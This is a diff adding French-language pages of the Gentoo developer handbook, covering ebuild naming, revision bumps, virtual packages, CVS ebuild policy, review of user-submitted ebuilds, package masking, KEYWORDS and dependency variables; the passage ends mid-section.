+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+L'objectif de ce manuel est de proposer un cadre aux politiques de
+développement Gentoo, et de permettre à <e>vous</e> les développeurs d'être
+informés à propos des politiques, standards et procédures que Gentoo considère
+comme étant les valeurs qui sont au coeur de notre système de développement.
+</p>
+
+<p>
+Ce manuel n'a pas pour but d'être le guide universel qui réponde à tout et nous
+préférons laisser une marge de manoeuvre importante aux développeurs. Ce manuel
+est plus fait pour vous donner un certain nombre de principes et nous pensons
+qu'ils feront de vous un bon développeur Gentoo. La suite ne dépend que de
+vous&nbsp;!
+</p>
+
+<p>
+Si vous êtes nouveau dans le développement pour Gentoo ou même que vous êtes un
+vétéran et que vous avez un doute sur quoi que ce soit, vous pouvez poser votre
+question sur la liste de diffusion gentoo-dev ou sur le forum IRC #gentoo-dev.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Prérequis</title>
+<body>
+
+<p>
+Avant que vous ne commenciez à bricoler, il est important d'avoir avec vous une
+Gentoo en parfait état de fonctionnement, aussi bien dans une optique de
+documentation que pour le développement et nous vous recommandons d'avoir une
+bonne connaissance des thèmes abordés dans la section «&nbsp;Utiliser
+Gentoo&nbsp;» du <uri link="/doc/fr/handbook/">manuel d'utilisateur</uri> pour
+vous aider dans votre travail de développement.
+</p>
+
+<p>
+La grande majorité des thèmes abordés dans ce guide ont pour cible les
+développeurs, mais si vous êtes simplement intéressés de voir comment
+fonctionne le développement de Gentoo, ce guide pourrait vous donner une vue
+d'ensemble intéressante.
+</p>
+
+<p>
+Le meilleur moyen d'être remarqué (et de devenir éventuellement un développeur
+Gentoo&nbsp;!) est de rapporter des bugs de manière efficace dans le
+<uri link="http://bugs.gentoo.org">Bugzilla de Gentoo</uri>, avec des correctifs
+si possible, et de nous aider en apportant votre aide dans ce que vous pensez
+être important pour que Gentoo s'améliore, soit en proposant des correctifs
+ajoutant des nouvelles fonctionnalités, soit en soumettant de nouveaux ebuilds,
+ou encore en résolvant des problèmes déjà détectés.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-policy-ebuild.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-policy-ebuild.xml
new file mode 100644
index 00000000..f364777d
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-policy-ebuild.xml
@@ -0,0 +1,755 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>Principes généraux</title>
+<subsection>
+<body>
+<p>
+Il existe un certain nombre de principes de développement généraux à
+suivre&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Toujours vérifier les changements avec repoman&nbsp;: utilisez <e>repoman
+    commit</e> à la place de <e>cvs commit</e>.
+  </li>
+  <li>
+    Si un paquet est soit cassé dans sa version actuelle, soit utilise un
+    processus de construction/installation vraiment horrible, jetez un coup
+    d'œil sur ce que les autres distributions font pour ce paquet&nbsp;:
+    <ul>
+      <li><uri link="http://www.debian.org/distrib/packages">Debian</uri></li>
+      <li>
+        <uri link="http://cvs.mandriva.com/cgi-bin/cvsweb.cgi/SPECS/">Mandriva</uri>
+      </li>
+      <li><uri link="http://cvs.fedora.redhat.com/">Fedora</uri></li>
+    </ul>
+  </li>
+  <li>
+    Votre paquet, une fois terminé et démasqué, est supposé «&nbsp;simplement
+    fonctionner&nbsp;» pour les utilisateurs finaux. Avoir à bidouiller un
+    paquet installé pour qu'il marche devrait être optionnel. Du coup, vous
+    devez installer le paquet en question avec une configuration par défaut
+    raisonnable.
+  </li>
+  <li>
+    N'ayez pas peur de consulter notre documentation en ligne et les ebuilds
+    écrits et maintenus par plusieurs développeurs expérimentés. Vous pouvez
+    aussi contacter les développeurs expérimentés directement pour poser des
+    questions techniques ou concernant la politique générale.
+  </li>
+  <li>
+    Faites attention à ce que vous soumettez. Souvenez-vous que vos soumissions
+    peuvent potentiellement affecter des milliers d'utilisateurs. Si votre
+    soumission entraîne des problèmes dans l'arbre de Portage, ils doivent être
+    résolu dans un temps très court.
+  </li>
+  <li>
+    Tous les paquets doivent être accompagnés d'un fichier
+    <uri link="?part=2&amp;chap=4">metadata.xml</uri> qui liste, entre autres,
+    à quel groupe de travail (ou/et quels mainteneurs individuels) est affecté
+    la maintenance du paquet.
+  </li>
+</ul>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Principes spécifiques</title>
+<subsection>
+<title>fPIC</title>
+<body>
+
+<p>
+Sur certaines architectures, les bibliothèques partagées doivent être
+construites avec l'option -fPIC. Sur x86 et d'autres, les bibliothèques
+partagées peuvent parfois être construites sans -fPIC, mais cela impliquerait
+du gaspillage et peut causer une perte de performance. Si vous rencontrez un
+paquet qui ne construit pas ses bibliothèques avec -fPIC, corrigez le Makefile
+pour construire <b>uniquement ses bibliothèques partagées</b> avec -fPIC. Plus
+d'informations sur -fPIC sont disponibles sur
+<uri>http://www.gentoo.org/proj/en/hardened/pic-internals.xml</uri>. En cas de
+doute, veuillez demander de l'aide, par exemple sur la liste de diffusion
+gentoo-dev ou le canal IRC #gentoo-dev.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Perl</title>
+<body>
+
+<p>
+Les nouveaux modules Perl doivent être ajoutés dans Portage uniquement si l'une
+des conditions suivantes est vérifiée&nbsp;:
+</p>
+
+<ul>
+  <li>le module est nécessaire pour satisfaire une dépendance&nbsp;;</li>
+  <li>le module ne peut pas être récupéré avec <c>g-cpan</c>&nbsp;;</li>
+  <li>le module ajoute une fonctionnalité à un ebuild déjà existant&nbsp;;</li>
+  <li>
+    le module fournit des outils, des applications ou autres fonctionnalités
+    (c'est-à-dire plus que ce qu'offrent leurs .PM).
+  </li>
+</ul>
+
+<p>
+Merci de vous assurer qu'au moins une personne du groupe de travail sur Perl
+approuve votre ajout.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Politique sur les ebuilds</title>
+<subsection>
+<title>Politique des noms des ebuilds</title>
+<body>
+
+<p>
+Le nom des fichiers ebuilds comporte quatre sous-sections logiques&nbsp;:
+</p>
+
+<p>
+<c>pkg-ver{_suf{#}}{-r#}.ebuild</c>
+</p>
+
+<note>
+Les crochets (<c>{}</c>) délimitent des champs optionnels et n'apparaissent pas
+dans le nom final pour le paquet. <c>#</c> représente un entier positif
+différent de zéro.
+</note>
+
+<p>
+La première sous-section, <c>pkg</c>, est le nom du paquet qui doit toujours
+contenir des caractères choisis parmi les minuscules, les chiffres de 0 à 9, le
+tiret <c>-</c>, le soulignement <c>_</c> ou le plus <c>+</c>. Par exemple, on a
+<c>util-linux</c>, <c>sysklogd</c> et <c>gtk+</c>. Nous avons quelques paquets
+dans Portage qui ne suivent pas cette règle, mais <e>les vôtres</e> devront la
+respecter.
+</p>
+
+<p>
+La seconde sous-section <c>ver</c> est la version du paquet qui doit
+normalement être la même que la version de l'archive source principale. La
+version est en général constituée de deux ou trois (ou plus) nombres séparés
+par un point, comme <c>1.2</c> ou <c>4.5.2</c> et peuvent comporter une lettre
+seule suivant immédiatement le dernier chiffre. Par exemple, <c>1.4b</c> ou
+<c>2.6h</c>. La version du paquet est liée au nom du paquet par un tiret. Par
+exemple, vous aurez <c>foo-1.0</c> ou <c>bar-2.4.6</c>.
+</p>
+
+<p>
+La troisième sous-section, <c>{_suf{#}}</c>, est optionnelle et peut contenir
+un suffixe pré-défini parmi ceux listés (du plus vieux au plus récent)
+ci-dessous&nbsp;:
+</p>
+
+<table>
+  <tr><th>Suffixe</th>
+  <th>Sens</th>
+</tr>
+<tr>
+  <ti><c>_alpha</c></ti>
+  <ti>Sortie de type Alpha</ti>
+</tr>
+<tr>
+  <ti><c>_beta</c></ti>
+  <ti>Sortie de type Beta</ti>
+</tr>
+<tr>
+  <ti><c>_pre</c></ti>
+  <ti>Pré-sortie</ti>
+</tr>
+<tr>
+  <ti><c>_rc</c></ti>
+  <ti>Candidat à la sortie</ti>
+</tr>
+<tr>
+  <ti>(aucun)</ti>
+  <ti>Sortie officielle</ti>
+</tr>
+<tr>
+  <ti><c>_p</c></ti>
+  <ti>Niveau de correctif (normalement suivi d'un entier)</ti>
+</tr>
+</table>
+
+<p>
+Tous ces suffixes doivent être suivis immédiatement d'un entier positif non nul,
+comme par exemple <c>linux-2.4.0_pre10</c>. En supposant des versions
+identiques, les suffixes sont ordonnés ainsi (le premier étant le plus
+vieux)&nbsp;: <c>_alpha</c> &lt; <c>_beta</c> &lt; <c>_pre</c> &lt; <c>_rc</c>
+&lt; (aucun suffixe) &lt; <c>_p</c>.
+</p>
+
+<p>
+En comparant deux suffixes identiques avec les entiers qui les suivent, celui
+qui a le numéro le plus grand sera considéré comme plus récent. Par exemple,
+<c>foo-1.0_alpha4</c> est plus récent que <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+La quatrième sous-section dans le nom du paquet est le numéro de révision
+spécifique à Gentoo Linux (<c>{-r#}</c>). Cette sous-section comme le suffixe
+est optionnelle. <c>#</c> est un entier positif non nul, ce qui donne par
+exemple <c>paquet-4.5.3-r3</c>.
+</p>
+
+<p>
+Le numéro de révision est indépendant de la version de l'archive source et est
+utilisé pour informer les utilisateurs qu'une révision provenant de Gentoo
+Linux, pour un paquet particulier, est disponible. Les sorties initiales
+d'ebuilds ne doivent pas avoir de numéro de révision. Par exemple,
+<c>paquet-4.5.3</c> est considéré par Portage comme ayant un numéro de révision
+de zéro. Cela signifie que le décompte se fait ainsi&nbsp;: <c>1.0</c> (version
+initiale), <c>1.0-r1</c>, <c>1.0-r2</c>, etc.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Choisir la version et incrémenter une révision</title>
+<body>
+
+<p>
+Le numéro de révision d'un paquet doit être augmenté par les développeurs
+Gentoo quand l'ebuild a changé à un point tel que les utilisateurs peuvent
+vouloir faire une mise à jour. Typiquement, c'est le cas quand des correctifs
+sont fait sur un ebuild qui affectent les fichiers installés résultant, mais
+l'ebuild utilise la même archive source, comme pour l'ebuild précédent. Si vous
+faites un changement interne stylistique à un ebuild qui ne change aucun
+fichier installé alors il n'y a pas besoin de remonter le numéro de révision.
+D'ailleurs, si vous corrigez un problème de compilation sur un ebuild qui
+affecte des utilisateurs, il n'y a pas besoin de remonter le numéro de version,
+dans la mesure où ceux pour qui cela fonctionnait parfaitement ne verront
+aucune différence en installant la nouvelle révision et ceux qui avaient un
+problème n'ont pas pu installer leur paquet (puisque la compilation avait
+échoué), et donc n'ont pas besoin d'avoir un nouveau numéro de révision pour
+les forcer à mettre à jour. Une incrémentation de révision n'est également pas
+nécessaire si une minorité d'utilisateurs seraient affectés et que le paquet
+prend un temps de compilation important&nbsp;: faites appel à votre bon sens
+pour juger de la circonstance.
+</p>
+
+<impo>
+Quand vous créez une nouvelle révision pour un ebuild, assurez-vous de mettre à
+jour le <path>ChangeLog</path> dans le répertoire de l'ebuild. Ne pas le faire
+est considéré comme une faute importante et peut entraîner des sanctions
+disciplinaires.
+</impo>
+
+<p>
+Les ebuilds devraient se calquer sur la version précédente pour s'assurer que
+des correctifs ne sont pas supprimés accidentellement. Les correctifs doivent
+inclure des commentaires appropriés dans l'ebuild pour expliquer ce qu'ils font
+et pourquoi ils sont nécessaires. Si vous n'êtes pas très familier avec les
+correctifs ou que vous n'arrivez pas à déterminer si ils sont toujours
+nécessaires, vous ne devez pas mettre à jour l'ebuild.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Virtuals</title>
+<body>
+
+<p>
+Portage supporte un concept appelé les paquets virtuels (virtual packages en
+anglais). En les utilisant, vous permettez d'avoir un nom catégorie/paquet
+particulier qui pointe vers un autre.
+</p>
+
+<p>
+Voici un exemple d'utilisation des paquets virtuels. Imaginons que vous créez un
+nouveau paquet cron appelé <c>foocron</c>. Gentoo Linux est préparé actuellement
+pour que tout ce qui nécessite l'usage d'un paquet cron dépend du paquet
+<c>virtual/cron</c>. Cela permet aux ebuilds de s'assurer qu'il y a plusieurs
+paquets pour cron disponibles et l'utilisateur peut de manière arbitraire
+choisir l'un ou l'autre, selon ses préférences. Pour ajouter
+<path>foocron-1.0.ebuild</path> dans le système, vous devrez ajouter une ligne
+dans l'ebuild comme suit&nbsp;:
+</p>
+
+<pre caption="Comment utiliser un paquet virtuel">
+PROVIDE="virtual/cron"
+</pre>
+
+<p>
+Maintenant, dès que <c>foocron-1.0</c> sera installé, le paquet
+<c>virtual/cron</c> sera enregistré. Si vous n'aviez aucun paquet cron installé
+auparavant, cela signifiera que tous les paquets <e>dépendant</e> de
+<c>virtual/cron</c> auront cette dépendance satisfaite de manière complète.
+Remarquez qu'il est possible de spécifier une valeur <c>PROVIDE</c> à tous les
+types de paquets. Il faut juste ne pas commencer par <c>virtual</c>. Cela dit,
+vous devez utiliser la catégorie <c>virtual/</c>, sauf dans le cas où vous
+utilisez la fonctionnalité proposée par <c>PROVIDE</c> pour pointer vers des
+paquets qui ont été renommés.
+</p>
+
+<p>
+Il y a une seconde composante dans l'implémentation des paquets virtuels dans
+Gentoo. Qu'arrive-t-il si aucun paquet n'est installé pour fournir
+<c>virtual/cron</c>&nbsp;? Comment Portage choisira-t-il le «&nbsp;bon&nbsp;»
+cron à installer pour satisfaire une dépendance à <c>virtual/cron</c>&nbsp;?
+Portage s'en charge en utilisant un fichier de correspondance de profil
+spécifique de paquets virtuels, nommé <path>virtuals</path> qui est présent
+dans <path>/etc/make.profile</path>. Si vous jetez un coup d'œil dans le vôtre,
+vous verrez que le contenu ressemble un peu à ceci&nbsp;:
+</p>
+
+<pre caption="Exemple de fichier virtuals">
+virtual/lpr             net-print/cups
+virtual/python          dev-lang/python
+virtual/mta             net-mail/ssmtp
+</pre>
+
+<p>
+La première ligne de ce fichier indique à Portage que si un paquet dépend de
+<c>virtual/lpr</c> et qu'aucun paquet fournissant cette dépendance n'est
+installé et que le paquet <c>virtual/lpr</c> n'est pas disponible dans l'arbre
+de Portage, alors <c>net-print/cups</c> devra être installé pour satisfaire
+cette dépendance. <c>net-print/cups</c> contient une ligne
+<c>PROVIDE="virtual/lpr"</c> pour que les prochaines dépendances sur
+<c>virtual/lpr</c> puissent être satisfaites.
+</p>
+
+<p>
+Parlons désormais de la conduite à suivre pour les développeurs. Si vous devez
+ajouter un paquet <c>foocron</c>, vous devrez évidemment vous assurez que tous
+les programmes qui dépendent de <c>virtual/cron</c> peuvent fonctionner
+correctement avec votre paquet. Si vous voulez ajouter un paquet
+<c>foobarosité</c> qui dépend de <c>virtual/cron</c>, vous devrez probablement
+vous assurer que tous les paquets proposant <c>virtual/cron</c> pourront faire
+fonctionner correctement votre paquet.
+</p>
+
+<p>
+Avant de créer des nouveaux paquets virtuels, merci de commencer à en parler sur
+la liste de diffusion interne pour les développeurs. Maintenir informés les
+développeurs de nouveaux paquets virtuels est essentiel pour s'assurer de leur
+utilisation uniforme.
+</p>
+</body>
+</subsection>
+<subsection>
+<title>Visibilité des variables</title>
+<body>
+
+<p>
+Quand un ebuild est lu par Portage, les fonctions et les variables qu'il
+définit sont chargées en mémoire par l'interpréteur. Cependant, seules les
+variables et les instructions qui ne font pas partie d'une fonction telle que
+<c>src_compile()</c> sont exécutées lors de la compilatin de l'ebuild.
+</p>
+
+<p>
+Le code compris dans des fonctions a une visibilité locale alors que tout ce
+qui n'est pas dans une fonction a une visibilité globale et est exécuté à
+chaque utilisation de l'ebuild.
+</p>
+
+<p>
+Une application externe comme grep, sed ou awk ne devrait jamais être utilisée
+dans la partie à visibilité globale pour des raisons de performance. De plus,
+les fonctionnalités internes de bash telles que le remplacement de texte
+doivent être utilisées au maximum. Veuillez consulter <uri
+link="http://www.tldp.org/LDP/abs/html/">Advanced Bash Scripting Guide</uri>
+pour les détails.
+</p>
+
+<p>
+De plus, une application externe n'est pas nécessairement disponible sur le
+système de l'utilisateur. En utilisant l'application externe dans une fonction
+telle que <c>pkg_setup()</c>, il est possible de garantir sa présence en
+l'ajoutant dans la variable <c>${DEPEND}</c> de l'ebuild.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Politique des sources CVS</title>
+<body>
+
+<p>
+Il y a deux moyens de construire un ebuild basé sur des sources à partir de
+l'arbre de développement CVS. Le premier moyen (traditionnel) est de créer un
+ebuild «&nbsp;instantané CVS&nbsp;» en créant votre propre instantané archivé de
+l'arbre CVS récupéré, en mettant les sources en miroir avec les dépôts officiels
+de fichiers distribués, puis vous écrivez un ebuild qui utilise spécifiquement
+cette archive. Nous appellerons désormais ce type d'ebuilds «&nbsp;ebuilds d'instantané CVS&nbsp;».
+</p>
+
+<p>
+L'autre méthode pour créer un ebuild utilisant le CVS consiste à utiliser
+<path>cvs.eclass</path> pour créer un ebuild CVS «&nbsp;live&nbsp;». Un tel
+ebuild récupérera de manière dynamique la dernière archive sur le dépôt CVS mise
+sur le CVS, assurant ainsi que les sources sont les plus à jour possible. Nous
+les nommerons les «&nbsp;ebuilds 'live'&nbsp;».
+</p>
+
+<p>
+Les paragraphes suivants détaillent la politique relative à l'utilisation des
+ebuilds basés sur CVS. Remarquez qu'elle définit des règles strictes à propos de
+l'ajout de ce type d'ebuilds dans l'arbre de Portage.
+</p>
+
+<p>
+Les ebuilds d'instantané CVS sont largement préférés aux ebuilds
+«&nbsp;live&nbsp;» utilisant <path>cvs.eclass</path>.
+</p>
+
+<p>
+Les ebuilds d'instantané CVS sont autorisés si un instantané du CVS 
+contient les correctifs connus qui sont nécessaires au bon 
+fonctionnement du paquet logiciel ou si la version CVS d'un paquet
+logiciel particulier est connue pour ou a été prouvée comme 
+fonctionnant mieux que les versions sorties sous forme de paquet.
+</p>
+
+<p>
+Les ebuilds «&nbsp;live&nbsp;» sont généralement utilisés uniquement pour les
+commodités des développeurs et devraient toujours être masqués avec un mot-clef
+de type <c>~[arch]</c>. Il est impossible de garantir le bon fonctionnement d'un
+ebuild «&nbsp;live&nbsp;» dans la mesure où l'arbre cvs du serveur peut changer
+à tout moment, ce qui explique le masquage systématique.
+</p>
+
+<p>
+Que ce soit pour un ebuild «&nbsp;live&nbsp;» ou un ebuild d'instantané CVS,
+<b>vous, développeur serez responsable du bon fonctionnement de l'ebuild</b>. Il
+est particulièrement difficile de s'en assurer pour les ebuilds
+«&nbsp;live&nbsp;» pour des raisons évidentes.
+</p>
+
+<p>
+Si les ebuilds (quel que soit le type) ne fonctionnent pas correctement, ils
+doivent être corrigés ou supprimés de l'arbre de Portage. Si ce sont des ebuilds
+«&nbsp;live&nbsp;», ils doivent être marqués en <c>~[arch]</c> à vie. Cette
+exception est expliquée plus bas.
+</p>
+
+<p>
+Si un ou plusieurs utilisateurs demandent un ebuild «&nbsp;live&nbsp;», vous
+pouvez en ajouter un pour eux. Il doit avoir des mots-clef en <c>~[arch]</c>
+afin que les autres utilisateurs ne puissent l'installer inconsciemment.
+</p>
+
+<p>
+De cette manière, les utilisateurs qui le veulent peuvent l'installer, mais les
+autres utilisateurs seront protégés de son installation accidentelle. Encore une
+fois, cela ne s'applique que dans les situations où les utilisateurs demandent
+de manière spécifique un ebuild «&nbsp;live&nbsp;». Les ebuilds d'instantanés
+CVS ne doivent être ajoutés à l'arbre de Portage que dans l'intention de les
+mettre en stable ou pour proposer des fonctionnalités améliorées par rapport aux
+versions habituelles de sortie d'un même logiciel.
+</p>
+
+<impo>
+Les ebuilds d'instantanés CVS de sources CVS de <e>pré-sortie</e> doivent être
+nommés ainsi&nbsp;: <path>foo-x.y_preYYYYMMDD.ebuild</path>. <c>foo</c> est le
+nom du paquet, <c>x.y</c> est le numéro de version de la sortie
+<e>antérieure</e>, <c>_pre</c> est utilisé tel quel et <c>YYYYMMDD</c> est une
+marque indiquant le jour auquel l'instantané CVS a été fait. Utilisez cette
+convention de nom pour vous assurer que la version de sortie <c>x.y.1</c> ne
+sera pas considérée comme plus ancienne que l'instantané <c>x.y</c> et pour
+vous assurer en même temps que la sortie officielle <c>x.y</c> sera considérée
+comme plus récente que votre version d'instantané CVS. Pour les instantanés
+CVS de sources CVS <e>déjà sorties</e>, utilisez le format
+<path>foo-x.y_pYYYYMMDD.ebuild</path> (notez le <c>_p</c> pour
+«&nbsp;patchlevel&nbsp;»).  Cela assurera que votre ebuild CVS sera considéré
+comme <e>plus récent</e> que la sortie <c>x.y</c> standard.
+</impo>
+
+<impo>
+Actuellement, la politique des noms des ebuilds «&nbsp;live&nbsp;» est de
+s'assurer que le nom du paquet se termine par <c>-cvs</c>. Dans le futur, un
+suffixe de version <c>-cvs</c> pourra être ajouté aux fonctionnalités de Portage
+et cette politique de nommage sera alors mise à jour.
+</impo>
+</body>
+</subsection>
+
+<subsection>
+<title>ebuilds soumis par les utilisateurs</title>
+<body>
+
+<p>
+Les ebuilds soumis par les utilisateurs ne doivent jamais être considérés comme
+sûr et doivent toujours être audités et testés de manière suffisante, avant de
+les soumettre au CVS. <b>Si un ebuild soumis par un utilisateur a des problèmes,
+vous en serez tenu pour responsable direct.</b> En l'incorporant au CVS, vous
+affirmez que cet ebuild suit tous les standards de développement de Gentoo
+Linux.
+</p>
+
+<p>
+Assurez-vous que l'ebuild soumis par l'utilisateur ne contient pas d'en-tête
+personnalisées comme celle-ci&nbsp;:
+</p>
+
+<pre caption="Un en-tête personnel qui doit être déplacé dans le ChangeLog">
+# Ebuild updated by: me &lt;me@me.com&gt;
+</pre>
+
+<p>
+Ces informations doivent être ajoutées au <path>ChangeLog</path> en utilisant la
+syntaxe correcte des commentaires de ChangeLog. <b>Toujours s'assurer que le
+ChangeLog attribue les crédits à l'utilisateur qui a proposé l'ebuild. Ces
+informations doivent apparaître dans la première entrée du ChangeLog.</b>
+</p>
+
+<p>
+Assurez-vous également que tous les nouveaux ebuilds que vous soumettez au CVS
+contiennent la ligne suivante&nbsp;:
+</p>
+
+<pre caption="En-tête d'un ebuild">
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Un certain nombre d'ebuilds soumis par les utilisateurs sont basés sur des
+fichiers utilisant rsync qui peuvent contenir des lignes d'en-tête incorrectes.
+</p>
+
+<p>
+Encouragez les utilisateurs à proposer des «&nbsp;diffs&nbsp;» sur les ebuilds
+existants s'ils proposent une mise à jour. En faisant cela, nous pouvons mieux
+éviter d'avoir à réintroduire des correctifs de bogues déjà identifiés et
+corrigés auparavant dans les nouveaux ebuilds. Si vous ne travaillez pas à
+partir d'un diff soumis par un utilisateur, alors utilisez la commande
+<c>diff</c> pour voir les changements, en gardant un œil sur tout ce qui
+devrait apparaître dans le nouveau ebuild et qui était présent dans l'actuel, ou
+sur tout ce qui dans le nouvel ebuild devrait être corrigé ou supprimé.
+</p>
+
+<p>
+En général, laissez l'utilisateur faire ce travail pour qu'il obtienne de
+lui-même un ebuild correct, sauf si vous <e>voulez</e> nettoyer l'ebuild sans
+le consulter. Toutefois, il est toujours meilleur de laisser l'utilisateur
+faire ce travail pour qu'il puisse apprendre de ses erreurs et soumettre des
+ebuilds plus propres dans le futur. N'oubliez pas de toujours remercier pour
+toute soumission, même si elle n'est pas vraiment bonne. Soyez poli, mais
+honnête. Si un ebuild n'est pas utilisable, on peut dire à l'utilisateur d'une
+manière non insultante que leur ebuild ne convient pas, sans porter atteinte à
+leur capacité actuelle à écrire un ebuild. Souvenez-vous que les utilisateurs
+qui proposent des ebuilds cassés peuvent être dans le futur des membres
+productifs et expérimentés pour notre projet dans le futur, c'est-à-dire s'ils
+reçoivent suffisamment d'encouragements et de support et continuent à
+s'améliorer.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Politique QA</title>
+<subsection>
+<title>Politique de sortie de Portage et baselayout</title>
+<body>
+
+<p>
+Seul les membres de l'équipe Portage peuvent sortir des nouvelles versions de
+Portage. <b>Personne d'autre</b> n'est autorisé à sortie de nouvelle version
+de Portage.
+</p>
+
+<p>
+Seul les membres de l'équipe baselayout peuvent sortir des nouvelles versions.
+<b>Personne d'autre</b> n'est autorisé à sortie de nouvelle version de
+<c>sys-apps/baselayout</c>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Paquets masqués</title>
+<body>
+<p>
+
+<path>/usr/portage/profiles/package.mask</path> contient une liste des paquets
+qui ne doivent pas être installés par les utilisateurs et des commentaires
+détaillant la raison du masquage. Package.mask est utilisé pour empêcher
+d'installer des paquets qui sont cassés, qui cassent d'autres éléments ou qui
+ont mal été testés avant d'avoir un mot-clef en ~ARCH dans l'arbre. Quand vous
+ajoutez un ebuild à package.mask, toujours soumettre package.mask avant de
+soumettre l'ebuild masqué. Cela empêche l'ebuild d'être récupéré par des
+utilisateurs avant que la mise à jour de package.mask ait été faite.
+</p>
+
+<p>
+Une attention particulière doit être apportée quand un paquet est enlevé de
+<path>package.mask</path>. Gardez à l'esprit que si un ebuild est dans
+<path>package.mask</path>, c'est pour une bonne raison. Si vous n'avez pas
+masqué vous-même l'ebuild, toujours contacter le développeur cité dans les
+commentaires de <path>package.mask</path> avant de prendre une initiative. De
+plus, si le paquet masqué est un paquet core, une dépendance d'un paquet core,
+ou si démasquer le paquet peut avoir des effets secondaires, le changement
+doit être fait après discussion interne sur la liste de diffusion des
+développeurs.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>~ARCH dans la variable KEYWORDS</title>
+<body>
+<p>
+L'objectif de ~arch est de permettre de tester des nouveaux paquets ajoutés dans
+Portage.
+</p>
+
+<p>
+Il y a une différence entre utiliser <path>package.mask</path> et ~arch pour
+les ebuilds. L'utilisation de ~arch dénote que l'<b>ebuild</b> a besoin d'être
+testé. L'utilisation de <path>package.mask</path> dénote que l'application ou
+la bibliothèque est clairement instable. Par exemple si <c>gimp-1.2.0</c> est
+une version stable des développeurs de Gimp et qu'un nouveau correctif est
+disponible en tant que 1.2.1, alors le développeur doit marquer l'ebuild comme
+~arch pour qu'il soit testé dans Portage parce que la version est considérée
+comme stable par Gimp. Un autre exemple, si Gimp décide de proposer une version
+de développement ou instable marquée 1.3.0, alors les ebuilds résultant doivent
+être mis dans <path>package.mask</path> car le logiciel lui-même est qualifié
+de logiciel en développement et qu'il n'est pas recommandé par les développeurs
+à la distribution.
+</p>
+
+<p>
+Tous les nouveaux paquets qui entrent dans Portage doivent être marqués d'un
+~arch pour les architectures sur lesquelles cette version est connue comme
+fonctionnant. Le développeur qui soumet l'ebuild doit vérifier qu'il est en
+état de fonctionnement et que la variable KEYWORDS est correcte.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Déplacer des versions de paquet de ~ARCH à ARCH</title>
+<body>
+
+<p>
+Quand une version de paquet a été testée pendant une période de temps
+suffisante et considérée comme stable, et quand le mainteneur Gentoo de ce
+paquet est sûr que la mise à jour n'entraînera pas de problèmes sur une machine
+d'utilisateur normal, alors cette version peut passer de ~ARCH à ARCH. Une
+indication pour savoir si un paquet est stable peut être de constater qu'aucun
+rapport de bogue sur un mois après l'introduction du nouveau paquet n'a été
+effectué pour cette version.
+</p>
+
+<p>
+C'est au mainteneur du paquet de décider quelles versions sont stables ou si les
+versions de développement doivent être mises dans <path>package.mask</path> ou
+laissés en ~arch.
+</p>
+
+<p>
+Vous devez également vous assurer que toutes les dépendances pour cette version
+de paquet sont également en ARCH.
+</p>
+
+<warn>
+L'étape ~ARCH peut être ignorée <e>uniquement si</e> la version en 
+question du paquet contient un correctif de sécurité ou est nécessaire
+pour corriger un bogue important dans le système Gentoo.
+</warn>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Variables</title>
+<subsection>
+<title>Variables requises</title>
+<body>
+
+<p>
+La politique de Gentoo Linux requiert que tous les ebuilds contiennent les
+variables <c>KEYWORDS</c>, <c>LICENSE</c> et <c>SLOT</c>. <c>HOMEPAGE</c>,
+<c>SRC_URI</c> et <c>DESCRIPTION</c> doivent être ajoutés sauf dans certains
+cas très spéciaux. <c>DEPEND</c> (et si besoin est, <c>RDEPEND</c>) doivent
+être inclus si votre paquet a respectivement des dépendances à la compilation
+ou à l'exécution.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>DEPEND et RDEPEND</title>
+<body>
+
+<p>
+Utilisez <c>DEPEND</c> pour définir les dépendances nécessaires à la
+compilation d'un paquet particulier et <c>RDEPEND</c> pour les dépendances
+nécessaires à <e>l'exécution</e> d'un paquet particulier. Vous n'avez besoin de
+spécifier explicitement <c>RDEPEND</c> que si les dépendances de lancement de
+l'ebuild sont différentes de celles spécifiées dans <c>DEPEND</c>&nbsp;; Si
+<c>RDEPEND</c> n'est pas spécifié, la valeur par défaut sera celle de
+<c>DEPEND</c>. <b>Ne jamais</b> initialiser <c>RDEPEND</c> à <c>DEPEND</c> par
+vous-même dans un ebuild.
+</p>
+
+<pre caption="variable RDEPEND mauvaise et correcte">
+# Acceptable :
+RDEPEND="${DEPEND}
+         net-ftp/curl
+         virtual/libc"
+# Non acceptable :
+RDEPEND="${DEPEND}"
+</pre>
+
+<p>
+Il est également important de remarquer que seules les dépendances de
+<c>RDEPEND</c> sont satisfaites quand on installe un paquet binaire
+<c>.tbz2</c>. Utilisez ces informations pour vous aider à choisir les bonnes
+dépendances <c>RDEPEND</c>. Sinon, <c>RDEPEND</c> aura les dépendances de
+<c>DEPEND</c>.
+</p>
+
+<p>
+Un paquet doit dépendre de la version la plus ancienne qui satisfait la
+dépendance.  Si le paquet fonctionne avec <c>libfoo-1.2.x</c>, ne le faites pas
+dépendre de <c>libfoo-2.x</c> juste parce que c'est la version que vous avez
+d'installée.
+</p>
+
+<p>
